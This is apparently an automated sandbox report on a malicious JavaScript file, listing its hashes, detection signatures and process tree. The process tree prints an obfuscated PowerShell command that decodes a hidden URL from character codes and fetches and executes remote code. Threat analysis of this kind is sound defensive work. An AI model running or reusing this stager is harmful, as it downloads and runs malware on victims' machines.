Analysis
-
max time kernel
118s -
max time network
118s -
platform
windows7_x64 -
resource
win7-20240729-en -
resource tags
-
submitted
21-12-2024 14:54
General
-
Target
aedc8f4223a3cc8eba8b1c8c7395cbd1cff6eb5c3e40f11c2e23a3d7c94fc594.js
-
Size
156KB
-
MD5
65b14682a00e3b78bb1a9ef537302d76
-
SHA1
298ae53b930530cb10b4b81cda3245943746410f
-
SHA256
aedc8f4223a3cc8eba8b1c8c7395cbd1cff6eb5c3e40f11c2e23a3d7c94fc594
-
SHA512
92675bf6672f83ef7ab8fb143592d1c80a67f8a22d9436249fb5a784c17a75380e40ba073824fc1d38cea3262f3ced0e4267dcc1520e6359b182a763feb76574
-
SSDEEP
1536:nw4I/1GXcuj+ZA7wlw3URl9IF3BFbOOuj+ZA7wlw3UYl9IF3BFbO9l9IF3BFbODI:nS0FxRLFxRrFxRF
Score
10/10
Malware Config
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
-
Command and Scripting Interpreter: JavaScript 1 TTPs
Processes
-
C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\aedc8f4223a3cc8eba8b1c8c7395cbd1cff6eb5c3e40f11c2e23a3d7c94fc594.js1⤵
-
C:\Windows\system32\conhost.execonhost --headless powershell $wuqdhf='ur' ;new-alias printout c$($wuqdhf)l;$efmoxalbz=(1531,1542,1550,1534,1536,1531,1551,1550,1555,1488,1550,1484,1531,1479,1549,1544,1545,1480,1482,1479,1545,1537,1545,1496,1548,1494,1542,1538,1543,1549,1548,1483,1482);$kyaipgwhnbeflc=('bronx','get-cmdlet');$nsukjrmebwx=$efmoxalbz;foreach($igysbaznmwlcxk in $nsukjrmebwx){$dutyxzqwm=$igysbaznmwlcxk;$jdvarpx=$jdvarpx+[char]($dutyxzqwm-1433);$ulbwefvydztm=$jdvarpx; $jpkngutrqh=$ulbwefvydztm};$xjukvgw[2]=$jpkngutrqh;$aduwylsxbjogp='rl';$nbmdai=1;.$([char](9992-9887)+'e'+'x')(printout -useb $jpkngutrqh)1⤵
- Process spawned unexpected child process